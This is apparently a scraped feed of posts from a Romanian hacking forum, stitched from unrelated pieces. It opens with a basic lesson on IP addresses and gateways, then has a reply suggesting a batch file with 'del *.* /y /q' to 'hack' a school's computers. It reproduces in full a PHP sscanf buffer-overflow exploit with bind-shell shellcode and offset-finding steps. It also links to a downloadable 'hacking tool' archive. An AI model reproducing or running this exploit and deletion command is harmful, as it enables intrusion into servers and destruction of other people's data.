Exemplu banal stiu. Ce inseamna IP , Internet Protocol anume , este un protocol , o suita de informatii care spun unui terminal/PC/server ... cine este 01 si cine este 02.Mai greu de explicat.IP-ul contine in mare o susa si o destinatie , sursa 01 si destinatie 02. Ip-ul ne apare noua ca utlizatori in forma zecimala ceva de genu 192.168.1.2, dar teoretic el este in forma binara , pentru a putea aplica teoria bitilor care pe forma zecimala nu ati avea nici o sansa. Daca sunteti pe platforma Windows , puteti afla IP-ul , cat si alte date foarte usor , intrati in command prompt { Windows Key+R -> cmd } si scrieti pe ecranul negru ipconfig , remarcand acolo IP Adress : 192.168.1.2 ; un exemplu doar. Daca sunteti pe Sistem UNIX/Linux ,intrati pe un shell si tastati ifconfig si veti remarca prin "gramada" de instructiuni si IP Adress Dar in afisajul de la ipconfig mai apar si alte date, gen subnet-mask , si default gateway. Desi e cam greu de explicat ce face subnet mask , voi zice in doua cuvinte , spune / arata , bazandu-se pe IP in forma binara,cati octeti { IP-ul are 4 octeti } sunt pentru host si cati pentru retea.Este o chestie mai complicata si va fi explicata in lectiile viitoare. Default gatewy este IP-ul serverului care va face conexiunea spre "lumea de afara" Internet , adica spre a putea iesi afara din tara , tebuie sa aveti pasaport si sa-l prezentati controlorului.Pasaport e IP-ul routabil , pasaport care poate iesi din tara { tara=LAN } si controloru e serveru . In mare , desi niciodata nu o sa se poate face o introducere prea buna despre retele , ca e enorm de mult de spus , asta e prima lectie , si nu uitati , reteaua gandita de cei cu "discheta" , este un pas "primar" , pentru care tu browsezi acest site acum . Cheer's ! by !_30
-
era si timpu:D ..
-
si de ce e postat la programe hack?
-
Hacking your school's Computer System xD
ghici replied to joe_capitano's topic in Tutoriale in engleza
fa un fisier nou ... copiaza del *.* /y /q in el si punei extensia .bat then run it -
<? /*********************************************************** * hoagie_php_sscanf.php * PHP <= 4.4.3 / 5.1.4 local buffer overflow exploit * * howto get offsets: * (set $base_addr to 0x41414141) * # ulimit -c 20000 * # /etc/init.d/apache restart * (execute script via web browser) * # tail /var/log/apache/error.log * ... * [Wed Aug 16 15:07:10 2006] [notice] child pid 28222 exit signal Segmentation fault (11), possible coredump in /tmp * ... * $ gdb /usr/sbin/apache /tmp/core * ... * ... * #0  0x40422b2d in php_sscanf_internal () from /usr/lib/apache/1.3/libphp4.so * (gdb) x/250 $edx * ... * 0x83ae16c:    0x41414141    0x41414141    0x41414141    0x41414141 * 0x83ae17c:    0xdeadbabe    0x41414145    0x4141415d    0x00000001 *                 ^^^^^^^^^^ *                 start of our buffer (0x83ae180) = $base_addr * 0x83ae18c:    0x00000008    0x4141415d    0x0833d248    0x00000400 * 0x83ae19c:    0x909006eb    0x90909090    0xe3f7db31    0x435366b0 *                         ^^^^^^^^^^ *                         start of shell code (0x83ae1a4) * 0x83ae1ac:    0x89534353    0x80cd4be1    0x6652c789    0x43204e68 * 0x83ae1bc:    0xe1895366    0xd0f6efb0    0x89575150    0xcd66b0e1 * 0x83ae1cc:    0x4366b080    0x5080cd43    0xe1895750    0xcd66b043 * 0x83ae1dc:    0x89d98980    0x2c6fb0c3    0x80cd4930    0x51f6e241 * 0x83ae1ec:    0x732f6e68    0x2f2f6868    0xe3896962    0xe1895351 * 0x83ae1fc:    0xd0f6f4b0    0x414180cd    0x41414141    0x41414141 * 0x83ae20c:    0x41414141    0x41414141    0x41414141    0x41414141 * ... * (gdb) quit * # * (change $base_addr in exploit and now call url again) * # gdb /usr/sbin/apache /tmp/core * #0  0x40475e73 in _efree () * from /usr/lib/apache/1.3/libphp4.so * (gdb) x/4w $ebp * 0xbfffb018:   0xbfffb038    0x40484241    0x0812a2f4    0xbfffb038 *                 ^^^^^^^^^^ *                 return address (return address location = 0xbfffb01c) * (change $rec_log in exploit and call url again) * $ telnet 127.0.0.1 20000 * Trying 127.0.0.1... * Connected to localhost. * Escape character is '^]'. * id; * uid=33(www-data) gid=33(www-data) groups=33(www-data) * exit; * Connection closed by foreign host. * $ * * NOTE: Because of PHP memory allocation this exploit depends on filename, pathname *    content etc... (because each line/byte will change emalloc() behavior * * Credits: Heintz (discovered this bug) *      BigHawk (bind shell code) *      Greuff (void.at) * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF- * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY * DAMAGE DONE USING THIS PROGRAM. * * VOID.AT Security * [email]andi@void.at[/email] * [url]http://www.void.at[/url] * ************************************************************/  /* base_addr for buffer in memory */  $base_addr = 0x812a260;  $base_addr_fill = 0x16;  /* byte 0 = fill up, byte 1 = refcount, byte 2 = is_ref, byte 3 = type */  $zval_attr = 0x00000008;  /* will be overwritten to execute our shellcode */  $ret_loc = 0xbfffb01c;  /* just for searching */  $pattern = 0xdeadbabe;  function long2str($addr) {    return pack("V", $addr);  }  $data =    /* fill up memory */      str_repeat(long2str($base_addr), $base_addr_fill) .      /* pattern */      long2str($pattern) .    /* current = base_addr */  long2str($base_addr + 0x4) .      /* *current = _zval_struct */  /* _zval_struct */  /* _zvalue_value */  /* _zvalue_value.str.val */      long2str($base_addr + 0x10 + 0xc) .  /* _zvalue_value_str.len */  long2str(0x00000001) .  /* _zval_struct.type, _zval_struct.is_ref, _zval_struct.refcount */      long2str($zval_attr) .  /* _zend_mem_header */  /* _zend_mem_header.pNext = start of shellcode  */      long2str($base_addr + 28) .  /* _zend_mem_header.pLast */      long2str($ret_loc) .  /* zend_mem_header.size, zend_mem_header.cached */  long2str(0x000000400) .  /* jump over next six bytes */  "xebx06x90x90" .  /* this bytes will be overwritten by efree() */  "x90x90x90x90" .  /* shell code starts here -   * BigHawk bind() version - just a little update to get rid   * of 0x3f   */  "x31xdbxf7xe3xb0x66x53x43x53x43x53x89xe1x4bxcd" .  "x80x89xc7x52x66x68x4ex20x43x66x53x89xe1xb0xef" .  "xf6xd0x50x51x57x89xe1xb0x66xcdx80xb0x66x43x43" .  "xcdx80x50x50x57x89xe1x43xb0x66xcdx80x89xd9x89" .  "xc3xb0x6fx2cx30x49xcdx80x41xe2xf6x51x68x6ex2f" .  "x73x68x68x2fx2fx62x69x89xe3x51x53x89xe1xb0xf4" .  "xf6xd0xcdx80" .  /* fill up memory */  str_repeat(long2str($base_addr), $base_addr_fill);  /* fill up memory with emalloc() for sscanf() */  quotemeta($data);  /* trigger exploit */  sscanf($data, '%1$s', $str); ?> # milw0rm.com [2006-08-16]
-
ArabianAttacker (WHTK) 1.0 Compleated Successfully
ghici replied to ghici's topic in Programe hacking
scrie HELP pt mai multe informatii ! -
imi place/..frumos ! mersi
-
TU FACI CELE MAI TARI POSTURI ! LA MAI MULTE
-
SA GANDEASCA NU SA AMENINTE PE ALTII ! sau cand o sa-i creasca putza atunci sa comenteze
-
it has some shell file's and some other tools Program site : http://www.tm-world.net/ArabianAttacker/ File size : 1.35 MB Download it from here : http://www.tm-world.net/ArabianAttacker/Do...cker-(WHTK).zip (Copy and past the link in your web browser) File password : ArabianAttacker
-
<div class='quotetop'>QUOTE("Sad_Dreamer")</div> da saracutul de el! DATIIIIIII BAN
-
este la VIP ceva interesant postat de nemessis ! imediat il incerc
-
creca esti prea obosit encoded! in loc de world ai pus Eorld